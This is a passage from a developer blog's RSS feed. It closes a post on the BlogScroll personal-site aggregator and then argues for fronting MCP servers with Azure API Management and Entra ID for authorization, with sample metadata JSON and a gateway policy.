  target="_blank" rel="noreferrer noopener"
>visit the page</a>, you&rsquo;ll notice that the design is super-boring. There are no analytics. No tracking pixels. No ads or affiliate links. It&rsquo;s, quite literally, just an aggregator of personal sites.</p>







<figure>
  <a href="https://assets.den.dev/images/postmedia/blogscroll/blogscroll.gif">
  <img
    class="mx-auto my-0 rounded-md"
    loading="lazy"
    decoding="async"
    alt="BlogScroll is _stupidly_ simple and boring. This is by design."
    
    
    
      src="https://assets.den.dev/images/postmedia/blogscroll/blogscroll.gif"
    
  />
  </a>
  <figcaption class="text-center">BlogScroll is <em>stupidly</em> simple and boring. This is by design.</figcaption>
</figure>
<p>Over the past few years, that simplicity hid some of the really useful automation that I built behind the scenes:</p>
<ul>
<li><strong>Community curation</strong>: Anyone can <a
  href="https://github.com/blogscroll/blogscroll/issues/new/choose"
  
  target="_blank" rel="noreferrer noopener"
>submit their site via GitHub Issues</a>.I then use <a
  href="/blog/github-copilot-inside-github-actions/"
  
  
>GitHub Copilot</a> to automatically generate the TOML changes and curate them in automated PRs.</li>
<li><strong>Automated validation</strong>: GitHub Actions check that submitted links are valid.</li>
<li><strong>Category organization</strong>: Sites are grouped by focus area, but not really split into many sub-categories. It&rsquo;s dead-simple to see some key groups.</li>
<li><strong>Search functionality</strong>: Quick filtering to find sites about specific topics without depending on a search engine.</li>
<li><strong>Dead link detection</strong>: Automated monitoring ensures the directory stays fresh and you won&rsquo;t end up with a <code>HTTP 404</code> when clicking on a link.</li>
</ul>
<p>The entire thing runs on GitHub Pages, costs nothing to operate, and <a
  href="https://github.com/blogscroll/blogscroll"
  
  target="_blank" rel="noreferrer noopener"
>the code is open source</a>.</p>
<h2 id="why-this-matters" class="relative group">Why this matters <span class="absolute top-0 w-6 transition-opacity opacity-0 ltr:-left-6 rtl:-right-6 not-prose group-hover:opacity-100"><a class="group-hover:text-primary-300 dark:group-hover:text-neutral-700" style="text-decoration-line: none !important;" href="#why-this-matters" aria-label="Anchor">#</a></span></h2>
<p>Personal websites matter because they&rsquo;re the antidote to algorithmic content. When someone builds their own site, they&rsquo;re making a deliberate choice to own their corner of the internet. They&rsquo;re writing for themselves first, their audience second, and the search engines not at all. That&rsquo;s not to say that you don&rsquo;t want your content to be discovered, but first and foremost the goal is to curate your own little garden.</p>
<p>This creates <em>fundamentally different</em> content. Instead of &ldquo;<em>5 JavaScript Frameworks You Must Learn in 2025,</em>&rdquo; you get posts like &ldquo;<em>I spent six months building a terrible chat app and here&rsquo;s what I learned about WebSockets.</em>&rdquo; The first is content marketing. The second is knowledge sharing. I don&rsquo;t know about you, but I&rsquo;d much rather read more of the latter.</p>
<h2 id="what-you-should-do" class="relative group">What you should do <span class="absolute top-0 w-6 transition-opacity opacity-0 ltr:-left-6 rtl:-right-6 not-prose group-hover:opacity-100"><a class="group-hover:text-primary-300 dark:group-hover:text-neutral-700" style="text-decoration-line: none !important;" href="#what-you-should-do" aria-label="Anchor">#</a></span></h2>
<p>Selfishly, I want to encourage you to contribute to BlogScroll. To do that, you can follow a few steps:</p>
<p><strong>If you already have a personal website:</strong></p>
<ol>
<li>Go to <a
  href="https://github.com/blogscroll/blogscroll"
  
  target="_blank" rel="noreferrer noopener"
><code>github.com/blogscroll/blogscroll</code></a>.</li>
<li>Click &ldquo;<em>Issues</em>&rdquo; → &ldquo;<em>New Issue</em>&rdquo; → &ldquo;<em>Add Site</em>&rdquo;.</li>
<li>Fill out the template with your site details.</li>
<li>Submit and wait for review (I triage inbound requests frequently).</li>
</ol>
<p><strong>If you don&rsquo;t have a personal website:</strong></p>
<ol>
<li>Register a domain (I recommend <a
  href="https://namecheap.com"
  
  target="_blank" rel="noreferrer noopener"
>Namecheap</a> or <a
  href="https://porkbun.com"
  
  target="_blank" rel="noreferrer noopener"
>Porkbun</a>).</li>
<li>Set up a simple static site with <a
  href="https://pages.github.com/"
  
  target="_blank" rel="noreferrer noopener"
>GitHub Pages</a>, <a
  href="https://netlify.com"
  
  target="_blank" rel="noreferrer noopener"
>Netlify</a>, or <a
  href="https://vercel.com"
  
  target="_blank" rel="noreferrer noopener"
>Vercel</a>.</li>
<li>Write your first post about literally anything you&rsquo;re interested in.</li>
<li>Add your site to BlogScroll.</li>
</ol>
<p><strong>If you just want to discover great content:</strong></p>
<ol>
<li>Visit <a
  href="https://blogscroll.com"
  
  target="_blank" rel="noreferrer noopener"
><code>blogscroll.com</code></a>.</li>
<li>Pick a category that interests you.</li>
<li>Click on five random sites.</li>
<li>Explore what authors wrote about.</li>
<li>Repeat weekly (or whenever you have time).</li>
</ol>
<p>The goal isn&rsquo;t to build the next viral content empire. It&rsquo;s to contribute one authentic voice to the increasingly noisy web. BlogScroll currently lists a bit more than four hundred sites, but this is a drop in the bucket of the indie web. I am aspiring to list more sites there. Way more than what&rsquo;s already there.</p>
<p>The web is what we make it. We can let it become a homogeneous content farm, or we can build a diverse ecosystem of genuine human voices.</p>
<p><strong>What corner of the internet will you help build today?</strong></p>
]]></content:encoded></item><item><title>Please Don't Write Your Own MCP Authorization Code</title><link>https://den.dev/blog/mcp-prm-auth/</link><pubDate>Thu, 26 Jun 2025 00:00:00 +0000</pubDate><author>Den Delimarsky</author><guid>https://den.dev/blog/mcp-prm-auth/</guid><description>The Model Context Protocol got auth right, but that doesn&rsquo;t mean you should implement it yourself. Here&rsquo;s why API gateways are usually the better choice, and what that really costs you.</description><content:encoded><![CDATA[<p>I&rsquo;ve been writing software long enough to know that authentication and authorization is where good intentions go to die. It&rsquo;s complex, it&rsquo;s boring, and it&rsquo;s absolutely critical. So when Anthropic, and specifically their <a
  href="https://modelcontextprotocol.io/"
  
  target="_blank" rel="noreferrer noopener"
>Model Context Protocol</a> team shipped their <a
  href="https://modelcontextprotocol.io/specification/2025-06-18"
  
  target="_blank" rel="noreferrer noopener"
><code>2025-06-18</code></a> specification with a <a
  href="/blog/new-mcp-authorization-spec/"
  
  
>major auth overhaul</a>, I was delighted that we&rsquo;re one step closer to making it actually palatable for your average engineer that doesn&rsquo;t care about the ins and outs of auth flows.</p>
<p>So what&rsquo;s the big news? Anthropic embraced <strong>Protected Resource Metadata (PRM)</strong> documents for protected MCP servers. Think of it as a business card for your MCP server that says &ldquo;<em>Hey, if you want to talk to me, here&rsquo;s where you need to get permission first.</em>&rdquo;</p>
<p>Architecturally, this is actually brilliant. Instead of every MCP server reinventing the auth wheel, you have a clean separation of concerns: the <a
  href="https://www.descope.com/learn/post/authorization-server"
  
  target="_blank" rel="noreferrer noopener"
>Authorization Server</a> (often attached to an identity provider, like Entra ID or Okta) handles the messy business of verifying who you are, while your <a
  href="https://www.oauth.com/oauth2-servers/the-resource-server/"
  
  target="_blank" rel="noreferrer noopener"
>Resource Server</a> (the MCP server) focuses on what it was designed for to begin with (spoiler alert - it&rsquo;s not auth). The MCP server publishes a simple JSON document that points clients to the right &ldquo;bouncer&rdquo; (i.e., the Authorization Server).</p>
<p>But here&rsquo;s the thing that everyone gets wrong: just because the spec exists doesn&rsquo;t mean you should implement it yourself.</p>
<h3 id="the-wrong-way-vs-the-right-way" class="relative group">The wrong way vs. the right way <span class="absolute top-0 w-6 transition-opacity opacity-0 ltr:-left-6 rtl:-right-6 not-prose group-hover:opacity-100"><a class="group-hover:text-primary-300 dark:group-hover:text-neutral-700" style="text-decoration-line: none !important;" href="#the-wrong-way-vs-the-right-way" aria-label="Anchor">#</a></span></h3>
<p>Here&rsquo;s what 90% of developers will do: they&rsquo;ll crack their knuckles, read the spec, fire up their favorite IDE, add a dependency on their framework du jour, and start building OAuth flows from scratch. They&rsquo;ll spend weeks wrestling with token caching and validation, refresh logic, and edge cases that make them question their career choices. But maybe they&rsquo;ll finally get the auth flows to work. What a relief.</p>
<p><strong>Don&rsquo;t be that developer.</strong></p>
<p>Authentication and authorization is <em>very likely</em> not your core competency unless you work on it as a full-time job. Your MCP server exists to do something useful with AI models, not to become yet another half-baked identity provider.</p>
<p>When I look at the problem space, I think that most of the time the right approach is to use <strong>a reverse proxy or API gateway</strong>. Let someone else&rsquo;s battle-tested infrastructure handle the gnarly auth stuff while your code stays <em>blissfully</em> unaware of JWT expiration times and PKCE flows.</p>
<p>If you&rsquo;re in the Microsoft ecosystem, the combo of <a
  href="https://azure.microsoft.com/products/api-management/"
  
  target="_blank" rel="noreferrer noopener"
>Azure API Management</a> (also commonly referred to as APIM) and <a
  href="https://azure.microsoft.com/products/functions/"
  
  target="_blank" rel="noreferrer noopener"
>Azure Functions</a> is practically cheating. Your MCP server becomes a simple function that does exactly one thing well, while APIM sits in front handling all the security functionality.</p>
<h3 id="configuration-over-code" class="relative group">Configuration over code <span class="absolute top-0 w-6 transition-opacity opacity-0 ltr:-left-6 rtl:-right-6 not-prose group-hover:opacity-100"><a class="group-hover:text-primary-300 dark:group-hover:text-neutral-700" style="text-decoration-line: none !important;" href="#configuration-over-code" aria-label="Anchor">#</a></span></h3>
<p>Remember when we used to write five hundred lines of boilerplate just to parse some basic XML? Yeah, good times. Authentication and authorization has been in that same dark age for too long - acquiring tokens and handling their lifetime has not been the definition of &ldquo;fun&rdquo; for anyone in the past decade, so why should MCP make it that way?</p>
<p>The beautiful thing about the gateway-based approach I called out above is that auth is not defined in your traditional code at all - it&rsquo;s all encapsulated in <strong>configuration</strong>. We&rsquo;re talking about <a
  href="https://learn.microsoft.com/azure/api-management/api-management-policies"
  
  target="_blank" rel="noreferrer noopener"
>API Management policies</a> that handle both the PRM document serving and the entire auth flow with <a
  href="https://www.microsoft.com/security/business/microsoft-entra"
  
  target="_blank" rel="noreferrer noopener"
>Microsoft Entra ID</a>.</p>
<p>No custom middleware. No hand-rolled JWT validation. No &ldquo;<em>Let me just add this OAuth library and hope it doesn&rsquo;t have any CVEs.</em>&rdquo; Just a declarative policy that tells APIM exactly what to do.</p>
<h3 id="whats-the-deal-with-the-new-flow" class="relative group">What&rsquo;s the deal with the new flow? <span class="absolute top-0 w-6 transition-opacity opacity-0 ltr:-left-6 rtl:-right-6 not-prose group-hover:opacity-100"><a class="group-hover:text-primary-300 dark:group-hover:text-neutral-700" style="text-decoration-line: none !important;" href="#whats-the-deal-with-the-new-flow" aria-label="Anchor">#</a></span></h3>
<p>Alright, enough theory. Let&rsquo;s see what we&rsquo;re actually talking about. Here&rsquo;s what a PRM document looks like in practice, straight from <a
  href="https://datatracker.ietf.org/doc/html/rfc9728"
  
  target="_blank" rel="noreferrer noopener"
>RFC 9728</a>:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-json" data-lang="json"><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="nt">&#34;resource&#34;</span><span class="p">:</span> <span class="s2">&#34;https://your-mcp-server.azure-api.net/&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">  <span class="nt">&#34;authorization_servers&#34;</span><span class="p">:</span> <span class="p">[</span>
</span></span><span class="line"><span class="cl">    <span class="s2">&#34;https://login.microsoftonline.com/common/v2.0&#34;</span>
</span></span><span class="line"><span class="cl">  <span class="p">],</span>
</span></span><span class="line"><span class="cl">  <span class="nt">&#34;scopes_supported&#34;</span><span class="p">:</span> <span class="p">[</span>
</span></span><span class="line"><span class="cl">    <span class="s2">&#34;https://your-mcp-server.azure-api.net/.default&#34;</span>
</span></span><span class="line"><span class="cl">  <span class="p">],</span>
</span></span><span class="line"><span class="cl">  <span class="nt">&#34;bearer_methods_supported&#34;</span><span class="p">:</span> <span class="p">[</span>
</span></span><span class="line"><span class="cl">    <span class="s2">&#34;header&#34;</span>
</span></span><span class="line"><span class="cl">  <span class="p">]</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><p>That&rsquo;s it. Four fields of JSON that tell any MCP client exactly how to authenticate with your server. The client fetches this document, discovers that it needs to talk to Microsoft Entra ID for tokens, gets the appropriate bearer token, and includes it in the <code>Authorization</code> header when making requests.</p>
<p>Your APIM policy serves this document at the well-known endpoint <code>/.well-known/oauth-protected-resource</code> and handles all the token validation behind the scenes. Your actual MCP server code never sees any of this complexity.</p>
<h4 id="but-what-about-security" class="relative group">But what about security? <span class="absolute top-0 w-6 transition-opacity opacity-0 ltr:-left-6 rtl:-right-6 not-prose group-hover:opacity-100"><a class="group-hover:text-primary-300 dark:group-hover:text-neutral-700" style="text-decoration-line: none !important;" href="#but-what-about-security" aria-label="Anchor">#</a></span></h4>
<p>I can already hear the security-conscious developers going: &ldquo;<em>Great, but who&rsquo;s storing these tokens? What about token caching? What happens if someone intercepts my JWT?</em>&rdquo;</p>
<p>Here&rsquo;s the beautiful part: <strong>you don&rsquo;t have to worry about any of that.</strong></p>
<p>Azure API Management handles server-side token storage and caching automatically. When a client presents a bearer token, APIM validates it against Microsoft Entra ID, caches the validation result for performance, and only forwards the request to your MCP server if the token is valid.</p>
<p>Your server never sees the raw tokens unless it absolutely needs them (e.g., for authorization policy decisions or for downstream <a
  href="https://learn.microsoft.com/entra/identity-platform/v2-oauth2-on-behalf-of-flow"
  
  target="_blank" rel="noreferrer noopener"
>On-Behalf-Of</a> flows). Your server never has to implement token storage. Your server never has to worry about token expiration or refresh logic. The MCP client and APIM are doing all the heavy lifting for you.</p>
<p>If you&rsquo;re worried about token interception, you&rsquo;re already using HTTPS everywhere (right?), and the tokens themselves are time-limited JWTs that can&rsquo;t be used outside their intended scope.</p>
<p>And, as the new spec requires, clients will also snap to <a
  href="https://datatracker.ietf.org/doc/rfc8707/"
  
  target="_blank" rel="noreferrer noopener"
>RFC 8707</a>, which means that a <code>resource</code> parameter will be in use at all times when talking to authorization servers. This will further constrain tokens to their expected destinations.</p>
<h4 id="how-do-i-deploy-this" class="relative group">How do I deploy this? <span class="absolute top-0 w-6 transition-opacity opacity-0 ltr:-left-6 rtl:-right-6 not-prose group-hover:opacity-100"><a class="group-hover:text-primary-300 dark:group-hover:text-neutral-700" style="text-decoration-line: none !important;" href="#how-do-i-deploy-this" aria-label="Anchor">#</a></span></h4>
<p>Want to see it in action? There are two samples you should check out. First, if you are a Python developer, click on the button below:</p>
<a
  class="inline-block !rounded-md bg-primary-600 px-4 py-1 !text-neutral !no-underline hover:!bg-primary-500 dark:bg-primary-800 dark:hover:!bg-primary-700" href="https://github.com/Azure-Samples/remote-mcp-apim-functions-python/tree/mcp-authspec-2025-06-18" target="_self"
  role="button"
>


  <span class="relative inline-block align-text-bottom icon">
    <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 496 512"><path fill="currentColor" d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6zm-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3zm44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9zM244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8zM97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1zm-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7zm32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1zm-11.4-14.7c-1.6 1-1.6 3.6 0 5.9 1.6 2.3 4.3 3.3 5.6 2.3 1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2z"/></svg>

  </span>

 Check out the code
</a>


<p>If you prefer .NET, you can use this button instead:</p>
<a
  class="inline-block !rounded-md bg-primary-600 px-4 py-1 !text-neutral !no-underline hover:!bg-primary-500 dark:bg-primary-800 dark:hover:!bg-primary-700" href="https://github.com/blackchoey/remote-mcp-apim-oauth-prm" target="_self"
  role="button"
>


  <span class="relative inline-block align-text-bottom icon">
    <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 496 512"><path fill="currentColor" d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6zm-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3zm44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9zM244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8zM97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1zm-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7zm32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1zm-11.4-14.7c-1.6 1-1.6 3.6 0 5.9 1.6 2.3 4.3 3.3 5.6 2.3 1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2z"/></svg>

  </span>

 Check out the code
</a>


<p>You can deploy both samples with Azure Developer CLI. All you need to do is run <code>azd up</code> from the root of the sample directory - you&rsquo;ll have it running in the cloud in minutes. The policies that are auto-deployed are doing all the heavy lifting - making your server MCP spec-compliant without you writing a single line of authentication code.</p>
<p>A PRM-specific policy looks like this:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-xml" data-lang="xml"><span class="line"><span class="cl"><span class="c">&lt;!--
</span></span></span><span class="line"><span class="cl"><span class="c">    Azure API Management Policy for Protected Resource Metadata (RFC 9728)
</span></span></span><span class="line"><span class="cl"><span class="c">    This policy returns Protected Resource Metadata information for OAuth 2.0 protected resources.
</span></span></span><span class="line"><span class="cl"><span class="c">    It provides clients with information about the authorization servers, supported methods, and scopes.
</span></span></span><span class="line"><span class="cl"><span class="c">    Note: Authentication is disabled for this endpoint to allow anonymous access.
</span></span></span><span class="line"><span class="cl"><span class="c">--&gt;</span>
</span></span><span class="line"><span class="cl"><span class="nt">&lt;policies&gt;</span>
</span></span><span class="line"><span class="cl">    <span class="nt">&lt;inbound&gt;</span>
</span></span><span class="line"><span class="cl">        <span class="c">&lt;!-- Return Protected Resource Metadata according to RFC 9728 --&gt;</span>
</span></span><span class="line"><span class="cl">        <span class="nt">&lt;return-response&gt;</span>
</span></span><span class="line"><span class="cl">            <span class="nt">&lt;set-status</span> <span class="na">code=</span><span class="s">&#34;200&#34;</span> <span class="na">reason=</span><span class="s">&#34;OK&#34;</span> <span class="nt">/&gt;</span>
</span></span><span class="line"><span class="cl">            <span class="nt">&lt;set-header</span> <span class="na">name=</span><span class="s">&#34;Content-Type&#34;</span> <span class="na">exists-action=</span><span class="s">&#34;override&#34;</span><span class="nt">&gt;</span>
</span></span><span class="line"><span class="cl">                <span class="nt">&lt;value&gt;</span>application/json<span class="nt">&lt;/value&gt;</span>
</span></span><span class="line"><span class="cl">            <span class="nt">&lt;/set-header&gt;</span>
</span></span><span class="line"><span class="cl">            <span class="nt">&lt;set-header</span> <span class="na">name=</span><span class="s">&#34;Cache-Control&#34;</span> <span class="na">exists-action=</span><span class="s">&#34;override&#34;</span><span class="nt">&gt;</span>
</span></span><span class="line"><span class="cl">                <span class="nt">&lt;value&gt;</span>public, max-age=3600<span class="nt">&lt;/value&gt;</span>
</span></span><span class="line"><span class="cl">            <span class="nt">&lt;/set-header&gt;</span>
</span></span><span class="line"><span class="cl">            <span class="nt">&lt;set-body&gt;</span>@{
</span></span><span class="line"><span class="cl">                return JsonConvert.SerializeObject(new {
</span></span><span class="line"><span class="cl">                    resource = &#34;{{APIMGatewayURL}}&#34;,
</span></span><span class="line"><span class="cl">                    authorization_servers = new[] {
</span></span><span class="line"><span class="cl">                        $&#34;{{APIMGatewayURL}}&#34;
</span></span><span class="line"><span class="cl">                    },
</span></span><span class="line"><span class="cl">                    bearer_methods_supported = new[] {
</span></span><span class="line"><span class="cl">                        &#34;header&#34;
</span></span><span class="line"><span class="cl">                    },
</span></span><span class="line"><span class="cl">                    scopes_supported = new[] {
</span></span><span class="line"><span class="cl">                        &#34;https://graph.microsoft.com/.default&#34;, &#34;openid&#34;
</span></span><span class="line"><span class="cl">                    }
</span></span><span class="line"><span class="cl">                });
</span></span><span class="line"><span class="cl">            }<span class="nt">&lt;/set-body&gt;</span>
</span></span><span class="line"><span class="cl">        <span class="nt">&lt;/return-response&gt;</span>
</span></span><span class="line"><span class="cl">    <span class="nt">&lt;/inbound&gt;</span>
</span></span><span class="line"><span class="cl">    <span class="nt">&lt;backend&gt;</span>
</span></span><span class="line"><span class="cl">        <span class="nt">&lt;base</span> <span class="nt">/&gt;</span>
</span></span><span class="line"><span class="cl">    <span class="nt">&lt;/backend&gt;</span>
</span></span><span class="line"><span class="cl">    <span class="nt">&lt;outbound&gt;</span>
</span></span><span class="line"><span class="cl">        <span class="nt">&lt;base</span> <span class="nt">/&gt;</span>
</span></span><span class="line"><span class="cl">    <span class="nt">&lt;/outbound&gt;</span>
</span></span><span class="line"><span class="cl">    <span class="nt">&lt;on-error&gt;</span>
</span></span><span class="line"><span class="cl">        <span class="nt">&lt;base</span> <span class="nt">/&gt;</span>
</span></span><span class="line"><span class="cl">    <span class="nt">&lt;/on-error&gt;</span>
</span></span><span class="line"><span class="cl"><span class="nt">&lt;/policies&gt;</span>
</span></span></code></pre></div><p>Not bad at all in terms of effort to define this. And deploying all of this takes less than a few minutes.</p>







<figure>
  <a href="https://assets.den.dev/images/postmedia/mcp-prm-auth/terminal-azd.gif">
  <img
    class="mx-auto my-0 rounded-md"
    loading="lazy"
    decoding="async"
    alt="Deploying an API Management-fronted server with the `azd` CLI."
    
    
    
      src="https://assets.den.dev/images/postmedia/mcp-prm-auth/terminal-azd.gif"
    
  />
  </a>
  <figcaption class="text-center">Deploying an API Management-fronted server with the <code>azd</code> CLI.</figcaption>
</figure>
<h3 id="what-about-cost-and-performance" class="relative group">What about cost and performance? <span class="absolute top-0 w-6 transition-opacity opacity-0 ltr:-left-6 rtl:-right-6 not-prose group-hover:opacity-100"><a class="group-hover:text-primary-300 dark:group-hover:text-neutral-700" style="text-decoration-line: none !important;" href="#what-about-cost-and-performance" aria-label="Anchor">#</a></span></h3>
<p>Fair questions. Azure API Management isn&rsquo;t free, and adding another network hop introduces latency. Here&rsquo;s the quick back-of-the-napkin reality check:</p>
<ul>
<li><strong>Cost</strong>: The APIM consumption tier starts at about $3 per million requests (with 10M requests included). Unless you&rsquo;re building the next ChatGPT, you&rsquo;re probably looking at dollars per month, not hundreds. Compare that to the engineering cost of building and maintaining your own auth infrastructure. You can consult the <a
  href="https://azure.microsoft.com/pricing/details/api-management/?cdn=disable"
  
  target="_blank" rel="noreferrer noopener"
>pricing page</a> for the latest.</li>
<li><strong>Performance</strong>: Yes, you&rsquo;re adding a network hop. In practice, this is usually 10-50ms of additional latency, which is negligible for most MCP scenarios where you&rsquo;re doing AI inference anyway. APIM does quite a bit of work to properly cache relevant credentials and data, saving you some more effort on getting it right.</li>
<li><strong>Reliability</strong>: As with all Azure services, APIM has enterprise-grade SLAs and built-in redundancy. Your hand-rolled auth middleware probably doesn&rsquo;t.</li>
</ul>
<p>The trade-off is usually worth it unless you&rsquo;re operating at massive scale. And, if you&rsquo;re at that scale - you probably have a dedicated platform team handling this stuff anyway.</p>
<h3 id="the-user-experience-that-doesnt-suck" class="relative group">The user experience that doesn&rsquo;t suck <span class="absolute top-0 w-6 transition-opacity opacity-0 ltr:-left-6 rtl:-right-6 not-prose group-hover:opacity-100"><a class="group-hover:text-primary-300 dark:group-hover:text-neutral-700" style="text-decoration-line: none !important;" href="#the-user-experience-that-doesnt-suck" aria-label="Anchor">#</a></span></h3>
<p>Let&rsquo;s talk about what really matters as the new spec gains traction: <strong>the integrated user experience</strong>. Building a protected MCP server is only half the battle, but what about building a great experience for those that want to <em>consume</em> said MCP server?</p>
<p>You know what drives me crazy? Applications that bounce you to seventeen different browser tabs just to log in. It&rsquo;s 2025, and we&rsquo;re still treating authentication like it&rsquo;s the early days of 2005 when we haven&rsquo;t figured out how to store credentials properly.</p>
<p>When you implement MCP auth the way I mentioned above, and specifically if you are using Microsoft Entra ID inside <a
  href="https://code.visualstudio.com/"
  
  target="_blank" rel="noreferrer noopener"
>Visual Studio Code</a> on Windows, something magical happens.</p>
<p>I am not exaggerating - fire up <a
  href="https://code.visualstudio.com/"
  
  target="_blank" rel="noreferrer noopener"
>Visual Studio Code</a>, connect to your MCP server that is gated by Entra ID, and watch the modern auth flow unfold. Instead of the usual browser circus, you get a clean, native <a
  href="/blog/better-window-handle-wam-local-mcp/"
  
  
>Web Account Manager (WAM)</a>-based prompt. It&rsquo;s something I talked about <a
  href="/blog/vscode-authorization-mcp/"
  
  
>all the way back in May</a>.</p>







<figure>
  <a href="https://assets.den.dev/images/postmedia/mcp-prm-auth/vscode-auth.gif">
  <img
    class="mx-auto my-0 rounded-md"
    loading="lazy"
    decoding="async"
    alt="Silent login to Entra ID-protected MCP server in Visual Studio Code."
    
    
    
      src="https://assets.den.dev/images/postmedia/mcp-prm-auth/vscode-auth.gif"
    
  />
  </a>
  <figcaption class="text-center">Silent login to Entra ID-protected MCP server in Visual Studio Code.</figcaption>
</figure>
<p>If you&rsquo;re already logged into Windows with your Microsoft or work account, it&rsquo;s literally one click. No browser. No typing passwords. No &ldquo;<em>Please verify you&rsquo;re not a robot by twisting these seven images to match the rabbit on the right</em>&rdquo; dance. Even better, if WAM determines that you already met the criteria for auth, you won&rsquo;t even be prompted to re-auth again. You are already using an account with your OS, why jump through extra hoops? WAM is <em>also</em> handling the local token cache and refresh, which is yet another nice bonus to add to this pile.</p>
<p>This is the kind of user experience that makes me really, <em>really</em> happy. When authentication and authorization is invisible, users (and developers, of course) can focus on what they actually want to build instead of fighting with yet another change in the auth flow logic. That&rsquo;s a win for everyone.</p>
<h3 id="the-elephant-in-the-room-operational-complexity" class="relative group">The elephant in the room: operational complexity <span class="absolute top-0 w-6 transition-opacity opacity-0 ltr:-left-6 rtl:-right-6 not-prose group-hover:opacity-100"><a class="group-hover:text-primary-300 dark:group-hover:text-neutral-700" style="text-decoration-line: none !important;" href="#the-elephant-in-the-room-operational-complexity" aria-label="Anchor">#</a></span></h3>
<p>With all of the above, I focused very heavily on the <em>happy path</em>, but let&rsquo;s be honest about something. I&rsquo;ve been telling you about the benefits of using an API gateway for MCP auth, but I&rsquo;d be doing you a disservice if I didn&rsquo;t talk about the operational complexity you&rsquo;re also introducing into your infrastructure.</p>
<p><strong>You&rsquo;re not just adding a component - you&rsquo;re adding a distributed system.</strong></p>
<p>When your MCP server was a simple, self-contained service, debugging was straightforward. Request comes in, you set a breakpoint, you step through your code. Now you have requests flowing through APIM policies, token validation happening against Entra ID, caching layers, and potential failure points at every hop.</p>
<p><strong>Debugging distributed auth is generally more painful.</strong> When something breaks, you&rsquo;ll be staring at logs across multiple services trying to figure out if the problem is in your APIM policy configuration, Entra ID tenant settings, token scopes, network connectivity, or your actual MCP server code. The error messages from API gateways are often cryptic at best. You should get comfortable with <a
  href="https://learn.microsoft.com/azure/api-management/api-management-howto-api-inspector"
  
  target="_blank" rel="noreferrer noopener"
